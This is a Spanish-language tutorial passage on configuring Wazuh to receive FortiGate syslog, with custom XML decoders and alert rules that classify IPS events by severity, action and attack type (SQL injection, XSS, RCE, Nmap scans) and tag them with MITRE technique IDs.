<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759697547204/c5f165c0-4dd0-4ef2-8c0e-e53711bcab78.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-prerequisitos">Prerequisitos</h3>
<p>Necesitamos tener instalado un Wazuh Server. En mi caso, uso la versión 4.12. Debemos modificar el archivo <code>ossec.conf</code> para que reciba eventos UDP en el puerto 514. De esta manera, podemos dirigir nuestros dispositivos Fortinet a nuestro SIEM para enviar los Syslogs.</p>
<pre><code class="lang-basic"># La Ruta es /var/ossec/etc/ossec.conf
  &lt;!-- Logs de VPN --&gt;
  &lt;<span class="hljs-comment">remote&gt;</span>
    &lt;connection&gt;syslog&lt;/connection&gt;
    &lt;port&gt;<span class="hljs-number">514</span>&lt;/port&gt;
    &lt;protocol&gt;udp&lt;/protocol&gt;
    &lt;allowed-ips&gt;any&lt;/allowed-ips&gt;
  &lt;/<span class="hljs-comment">remote&gt;</span>
</code></pre>
<p>Luego, como en cada cambio en el Wazuh Manager.</p>
<pre><code class="lang-basic">sudo systemctl restart wazuh-manager
</code></pre>
<p>Ya nos deberian llegar los Logs de Fortigate, si configuraste bien el equipo. Aca ten dejo un <a target="_blank" href="https://community-fortinet-com.translate.goog/t5/FortiGate/Technical-Tip-How-to-configure-syslog-on-FortiGate/ta-p/331959?_x_tr_sl=en&amp;_x_tr_tl=es&amp;_x_tr_hl=es&amp;_x_tr_pto=tc">instructivo</a>, para ello.</p>
<h3 id="heading-configurar-decoders">Configurar Decoders</h3>
<p>Un decoder es el componente encargado de <strong>interpretar y extraer información</strong> de los logs en bruto que recibe Wazuh. Piensa en él como un traductor que convierte texto plano en datos estructurados que Wazuh puede analizar y sobre los cuales puede crear reglas de detección. Para que tengas una idea te dejo la lista de los que son mantenido por la comunidad.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759698367863/f47d9529-3882-4e24-8f93-e9bfcdf33c70.png" alt class="image--center mx-auto" /></p>
<p>En nuestro caso vamos a generar una lista propia, creandola aqui <code>/var/ossec/etc/decoders/custom-fortigate-ips.xml</code></p>
<pre><code class="lang-xml"><span class="hljs-comment">&lt;!--
  - Fortigate IPS Decoders Santiago Fernandez
  --&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">decoder</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"fortigate-ips"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">prematch</span>&gt;</span>type=ips<span class="hljs-tag">&lt;/<span class="hljs-name">prematch</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">decoder</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">decoder</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"fortigate-ips-details"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">parent</span>&gt;</span>fortigate-ips<span class="hljs-tag">&lt;/<span class="hljs-name">parent</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">regex</span>&gt;</span>severity=(\w+)<span class="hljs-tag">&lt;/<span class="hljs-name">regex</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">order</span>&gt;</span>severity<span class="hljs-tag">&lt;/<span class="hljs-name">order</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">decoder</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">decoder</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"fortigate-ips-details"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">parent</span>&gt;</span>fortigate-ips<span class="hljs-tag">&lt;/<span class="hljs-name">parent</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">regex</span>&gt;</span>srcip=(\S+)<span class="hljs-tag">&lt;/<span class="hljs-name">regex</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">order</span>&gt;</span>srcip<span class="hljs-tag">&lt;/<span class="hljs-name">order</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">decoder</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">decoder</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"fortigate-ips-details"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">parent</span>&gt;</span>fortigate-ips<span class="hljs-tag">&lt;/<span class="hljs-name">parent</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">regex</span>&gt;</span>dstip=(\S+)<span class="hljs-tag">&lt;/<span class="hljs-name">regex</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">order</span>&gt;</span>dstip<span class="hljs-tag">&lt;/<span class="hljs-name">order</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">decoder</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">decoder</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"fortigate-ips-details"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">parent</span>&gt;</span>fortigate-ips<span class="hljs-tag">&lt;/<span class="hljs-name">parent</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">regex</span>&gt;</span>dstport=(\d+)<span class="hljs-tag">&lt;/<span class="hljs-name">regex</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">order</span>&gt;</span>dstport<span class="hljs-tag">&lt;/<span class="hljs-name">order</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">decoder</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">decoder</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"fortigate-ips-details"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">parent</span>&gt;</span>fortigate-ips<span class="hljs-tag">&lt;/<span class="hljs-name">parent</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">regex</span>&gt;</span>attack="([^"]+)"<span class="hljs-tag">&lt;/<span class="hljs-name">regex</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">order</span>&gt;</span>attack<span class="hljs-tag">&lt;/<span class="hljs-name">order</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">decoder</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">decoder</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"fortigate-ips-details"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">parent</span>&gt;</span>fortigate-ips<span class="hljs-tag">&lt;/<span class="hljs-name">parent</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">regex</span>&gt;</span>action=(\w+)<span class="hljs-tag">&lt;/<span class="hljs-name">regex</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">order</span>&gt;</span>action<span class="hljs-tag">&lt;/<span class="hljs-name">order</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">decoder</span>&gt;</span>
</code></pre>
<h3 id="heading-configurando-las-reglas">Configurando las Reglas</h3>
<p>Una regla es el componente que <strong>analiza los datos extraídos por los decoders</strong> y determina si un evento es relevante, cuán crítico es, y qué acciones tomar. Las reglas transforman datos en alertas de seguridad. Una explicacion burda seria la siguiente: Se envia el log para que el decoder extraiga los campos, la regla evalua y clasifican para saber si debe o no generar la alerta.  </p>
<p>Vamos a crear dos reglas, custom, para fortigate. Ambas deben estar en este path <code>/var/ossec/etc/rules</code>.</p>
<pre><code class="lang-xml"><span class="hljs-comment">&lt;!-- ----------------------- --&gt;</span>
<span class="hljs-comment">&lt;!-- custom-fortigate-ips.xml --&gt;</span>
<span class="hljs-comment">&lt;!-- ----------------------- --&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">group</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"fortigate,ids,ips,utm,"</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Base rule for Fortigate IPS --&gt;</span>

  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196200"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"3"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>81629<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Fortigate IPS event detected<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>fortigate,fortigate_ips<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

 <span class="hljs-comment">&lt;!-- ========== CLASIFICACIÓN POR SEVERIDAD ========== --&gt;</span>

  <span class="hljs-comment">&lt;!-- IPS - Critical Severity --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196201"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"13"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">field</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"severity"</span>&gt;</span>critical<span class="hljs-tag">&lt;/<span class="hljs-name">field</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: CRITICAL attack detected - $(attack) from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">options</span>&gt;</span>no_full_log<span class="hljs-tag">&lt;/<span class="hljs-name">options</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1190<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,critical,fortigate_ips<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- IPS - High Severity --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196202"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"10"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">field</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"severity"</span>&gt;</span>high<span class="hljs-tag">&lt;/<span class="hljs-name">field</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: HIGH severity attack - $(attack) from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">options</span>&gt;</span>no_full_log<span class="hljs-tag">&lt;/<span class="hljs-name">options</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1190<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,high,fortigate_ips<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- IPS - Medium Severity --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196203"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"7"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">field</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"severity"</span>&gt;</span>medium<span class="hljs-tag">&lt;/<span class="hljs-name">field</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: MEDIUM severity attack - $(attack) from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">options</span>&gt;</span>no_full_log<span class="hljs-tag">&lt;/<span class="hljs-name">options</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,medium,fortigate_ips<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- IPS - Low Severity pero repetido --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196204"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"5"</span> <span class="hljs-attr">frequency</span>=<span class="hljs-string">"10"</span> <span class="hljs-attr">timeframe</span>=<span class="hljs-string">"300"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_matched_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_matched_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">field</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"severity"</span>&gt;</span>low<span class="hljs-tag">&lt;/<span class="hljs-name">field</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">same_source_ip</span> /&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: Multiple LOW severity attacks from same IP (10+ in 5min)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,low,fortigate_ips_repeated<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- ========== CLASIFICACIÓN POR ACCIÓN ========== --&gt;</span>

  <span class="hljs-comment">&lt;!-- Attack Blocked/Dropped (acción exitosa del IPS) --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196205"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"5"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>action="dropped"<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: Attack BLOCKED from $(srcip) - $(attack)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">options</span>&gt;</span>no_full_log<span class="hljs-tag">&lt;/<span class="hljs-name">options</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,blocked,fortigate_ips<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Attack Detected but NOT Blocked (PELIGROSO) --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196206"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"9"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>action="detected"<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: Attack DETECTED but NOT blocked - $(attack) from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">options</span>&gt;</span>no_full_log<span class="hljs-tag">&lt;/<span class="hljs-name">options</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1190<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,detected,fortigate_ips_unblocked<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Critical Attack NOT Blocked (MUY PELIGROSO) --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196207"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"14"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">field</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"severity"</span>&gt;</span>critical<span class="hljs-tag">&lt;/<span class="hljs-name">field</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>action="detected"<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: CRITICAL attack NOT BLOCKED - $(attack) from $(srcip) to $(dstip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1190<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,critical,fortigate_ips_unblocked,emergency<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- ========== ATAQUES WEB ESPECÍFICOS ========== --&gt;</span>

  <span class="hljs-comment">&lt;!-- SQL Injection --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196208"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"11"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>SQL|sql_injection|SQLi<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: SQL Injection attempt from $(srcip) to $(dstip):$(dstport)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1190<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1505.003<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,sql_injection,web,fortigate_ips<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- XSS (Cross-Site Scripting) --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196209"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"10"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>XSS|Cross.Site|cross-site<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: XSS attack attempt from $(srcip) to $(dstip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1189<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,xss,web,fortigate_ips<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Command Injection --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196210"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"11"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>command.injection|Command.Execution<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: Command Injection attempt from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1059<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,command_injection,fortigate_ips<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Path Traversal / Directory Traversal --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196211"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"9"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>Directory.Traversal|Path.Traversal<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: Path Traversal attempt from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1083<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,path_traversal,web,fortigate_ips<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- ========== EXPLOITS Y MALWARE ========== --&gt;</span>

  <span class="hljs-comment">&lt;!-- Buffer Overflow --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196212"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"12"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>Buffer.Overflow|buffer-overflow<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: Buffer Overflow exploit attempt from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1203<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,buffer_overflow,exploit,fortigate_ips<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Remote Code Execution (RCE) --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196213"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"13"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>Remote.Code|RCE|code.execution<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: Remote Code Execution attempt from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1203<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1059<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,rce,exploit,fortigate_ips,critical<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- ========== RECONOCIMIENTO Y ESCANEOS ========== --&gt;</span>

  <span class="hljs-comment">&lt;!-- Nmap Scan --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"196214"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"7"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>196200<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>Nmap|nmap|Network.Mapper<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>FGT IPS: Nmap scan detected from $(srcip)<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1046<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>attack,reconnaissance,scan,fortigate_ips<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
